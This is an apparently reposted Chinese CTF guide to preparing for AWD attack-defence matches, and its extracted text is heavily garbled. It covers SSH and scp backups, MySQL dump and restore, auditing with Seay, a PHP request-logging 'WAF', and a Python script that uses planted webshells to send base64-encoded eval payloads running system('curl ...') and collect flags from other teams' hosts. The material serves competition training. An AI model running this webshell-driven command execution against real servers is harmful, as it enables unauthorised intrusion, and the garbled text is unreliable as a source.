[21021] 2020-05-11_CTF线下AWD攻防模式的准备工作及起手式

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2020-05-11_CTF线下AWD攻防模式的准备工作及起手式 C T F 线 A W D L e m o n S e c   2 0 2 0 - 0 5 - 1 1 0 X 0 1   s s h ~ 0 X 0 2   d u m p d u m p 1 . 使 X F T P F i l e Z i l l a   C l i e n t 2 . 使 s c p         s c p   - r   - P   P o r t   r e m o t e _ u s e r n a m e @ r e m o t e _ i p : r e m o t e _ f o l d e r   l o c a l _ f i l e 0 X 0 3   1 .   m y s q l 2 .   [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( M y S Q L M y S Q L ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l d u m p   - u   r o o t   - p   T e s t > T e s t 0 8 0 9 . s q l 3 .   [ r o o t @ l o c a l h o s t   ~ ] #   m y s q l   - u   r o o t   - p   M y S Q L " m y s q l > " " s h o w   d a t a b a s e s " " c r e a t e   d a t a b a s e   v o i c e " " u s e   v o i c e "
" s o u r c e   v o i c e . s q l " " m y s q l > " [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( M y S Q L M y S Q L ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l   - u   r o o t   - p   T e s t < T e s t 0 8 0 9 . s q l | m o o d l e _ b a k . s q l 0 X 0 4   D 0 X 0 5 .   s e a y
0 X 0 6 .   w a f c h e c k   d o w n f l a g d o w n p h p r e q u i r e _ o n c e ( ' w a f . p h p ' ) ; < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; d e f i n e ( ' L O G _ F I L E D I R ' , ' . / l o g s ' ) ; f u n c t i o n   w a f ( )
{ i f   ( ! f u n c t i o n _ e x i s t s ( ' g e t a l l h e a d e r s ' ) )   { f u n c t i o n   g e t a l l h e a d e r s ( )   { f o r e a c h   ( $ _ S E R V E R   a s   $ n a m e   = >   $ v a l u e )   { i f   ( s u b s t r ( $ n a m e ,   0 ,   5 )   = =   ' H T T P _ ' ) $ h e a d e r s [ s t r _ r e p l a c e ( '   ' ,   ' - ' ,   u c w o r d s ( s t r t o l o w e r ( s t r _ r e p l a c e ( ' _ ' ,   '   ' ,   s u b s t r ( $ n a m e ,   5 ) ) ) ) ) ]   =   $ v a l u e ; } r e t u r n   $ h e a d e r s ; } } $ g e t   =   $ _ G E T ; $ p o s t   =   $ _ P O S T ; $ c o o k i e   =   $ _ C O O K I E ; $ h e a d e r   =   g e t a l l h e a d e r s ( ) ; $ f i l e s   =   $ _ F I L E S ; $ i p   =   $ _ S E R V E R [ " R E M O T E _ A D D R " ] ; $ m e t h o d   =   $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] ; $ f i l e p a t h   =   $ _ S E R V E R [ " S C R I P T _ N A M E " ] ; f o r e a c h   ( $ _ F I L E S   a s   $ k e y   = >   $ v a l u e )   { $ f i l e s [ $ k e y ] [ ' c o n t e n t ' ]   =   f i l e _ g e t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ) ; f i l e _ p u t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ,   " v i r i n k " ) ; } u n s e t ( $ h e a d e r [ ' A c c e p t ' ] ) ; $ i n p u t   =   a r r a y ( " G e t " = > $ g e t ,   " P o s t " = > $ p o s t ,   " C o o k i e " = > $ c o o k i e ,   " F i l e " = > $ f i l e s ,   " H e a d e r " = > $ h e a d e r ) ; l o g g i n g ( $ i n p u t ) ; } f u n c t i o n   l o g g i n g ( $ v a r ) { $ f i l e n a m e   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ; $ L O G _ F I L E N A M E   =   L O G _ F I L E D I R . " / " . $ f i l e n a m e ; $ t i m e   =   d a t e ( " Y - m - d   G : i : s " ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E ,   " r n " . $ t i m e . " r n " . p r i n t _ r ( $ v a r ,   t r u e ) ,   F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n " . ' h t t p : / / ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' P H P _ S E L F ' ] . ' ? ' . $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] , F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * " , F I L E _ A P P E N D ) ;
} w a f ( ) ; ? > 0 X 0 7 .   s e a y ~ s e a y 2 3 3 3 3 3 3   0 X 0 8 .   d o w n w a f c h e c k 0 X 0 9 .   e x p         # ! / u s r / b i n / p y t h o n         # c o d i n g = u t f - 8         i m p o r t   s y s , r e q u e s t s , b a s e 6 4         d e f   l o a d f i l e ( f i l e p a t h ) :                 t r y   :                           f i l e   =   o p e n ( f i l e p a t h , " r b " )                         r e t u r n   s t r ( f i l e . r e a d ( ) )                 e x c e p t   :                           p r i n t   " F i l e   % s   N o t   F o u n d ! "   % f i l e p a t h                         s y s . e x i t ( )         d e f   f i l e _ w r i t e ( f i l e p a t h , f i l e c o n t e n t ) :                 f i l e   =   o p e n ( f i l e p a t h , " a " )                 f i l e . w r i t e ( f i l e c o n t e n t )                 f i l e . c l o s e ( )         d e f   g e t f l a g ( u r l , m e t h o d , p a s s w d , f l a g _ p a t h ) :                 # f l a g u r l                 f l a g _ u r l = " 1 9 2 . 1 6 8 . 4 5 . 1 "                 # p r i n t   u r l                 # s h e l l
                t r y   :                         r e s   =   r e q u e s t s . g e t ( u r l , t i m e o u t = 3 )                 e x c e p t   :                           p r i n t   " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T "   % u r l                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T n n "   % u r l )                         r e t u r n   0                 i f   r e s . s t a t u s _ c o d e ! = 2 0 0   :                         p r i n t   " [ - ]   % s   P a g e   N o t   F o u n d ! "   % u r l                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   P a g e   N o t   F o u n d ! n n "   % u r l )                         r e t u r n   0                 # f l a g   s y s t e m , e x e c , p a s s t h r u , ` , s h e l l _ e x e c                 # a = @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; & z 0 = c 3 l z d G V t K C J 3 a G 9 h b W k i K T s =                 c m d   =   " c u r l   " + f l a g _ u r l                 # c m d   =   " w h o a m i "                 g e t f l a g _ c m d   = " e c h o   s y s t e m ( " % s " ) ; " % c m d                 d a t a = { }                 i f   m e t h o d = = ' g e t ' :                         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; '                         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )                         t r y :                                 r e s   =   r e q u e s t s . g e t ( u r l , p a r a m s = d a t a , t i m e o u t = 3 )                                 # p r i n t   r e s . u r l                                 i f   r e s . c o n t e n t :                                         c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                                         p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l                                 e l s e   :                                         p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                                         c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                         e x c e p t   :                                 f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )                                 p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l                 e l i f   m e t h o d = = ' p o s t ' :                         d a t a [ ' p a s s ' ] = ' S n 3 r t f 4 c k '                         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ z 0 ] ) ) ; '                         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )                         t r y :
                                r e s   =   r e q u e s t s . p o s t ( u r l , d a t a = d a t a , t i m e o u t = 3 )                                 i f   r e s . c o n t e n t :                                         c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                                         p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l                                 e l s e   :                                         p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                                         c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                         e x c e p t :                                 f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )                                 p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l                         i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                 # f l a g                 f l a g _ p a t h = " . / f l a g . t x t "                 s h e l l s t r = l o a d f i l e ( " . / w e b s h e l l . t x t " )                 l i s t   =   s h e l l s t r . s p l i t ( " r n " )                 # p r i n t   s t r ( l i s t )                 i   =   0                 u r l = { }                 p a s s w d = { }                 m e t h o d = { }                 f o r   d a t a   i n   l i s t :                         i f   d a t a :                                 l s   =   d a t a . s p l i t ( " , " )                                 m e t h o d _ t m p   =   s t r ( l s [ 1 ] )                                 m e t h o d _ t m p   =   m e t h o d _ t m p . l o w e r ( )                                 i f   m e t h o d _ t m p = = ' p o s t '   o r   m e t h o d _ t m p = = ' g e t ' :                                         u r l [ i ] = s t r ( l s [ 0 ] )                                         m e t h o d [ i ] = m e t h o d _ t m p                                         p a s s w d [ i ] = s t r ( l s [ 2 ] )                                         i + = 1                                 e l s e   :                                         p r i n t   " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! "   % ( s t r ( l s [ 0 ] ) )                                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! n n "   % ( s t r ( l s [ 0 ] ) ) )                         e l s e   :   p a s s
                # p r i n t   s t r ( l e n ( u r l ) )                 f o r   j   i n   r a n g e ( l e n ( u r l ) ) :                         #                         # p r i n t   s t r ( j )                         # p r i n t   " u r l   i s   % s   m e t h o d   i s   % s   p a s s w d   i s   % s "   % ( u r l [ j ] , m e t h o d [ j ] , p a s s w d [ j ] )                         g e t f l a g ( u r l = u r l [ j ] , m e t h o d = m e t h o d [ j ] , p a s s w d = p a s s w d [ j ] , f l a g _ p a t h = f l a g _ p a t h )                 p r i n t   " G e t f l a g   f i n i s h e d ! " 0 x 1 0 .   O V E R C T F 线 A W D C T F s h i C T F 线     A W D w e b s h e l l c t f 线 ( p h p ) A W D C T F D e f e n s e h t t p s : / / b l o g . c s d n . n e t / l i k e 9 8 k / a r t i c l e / d e t a i l s / 8 0 2 6 1 6 0 3
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则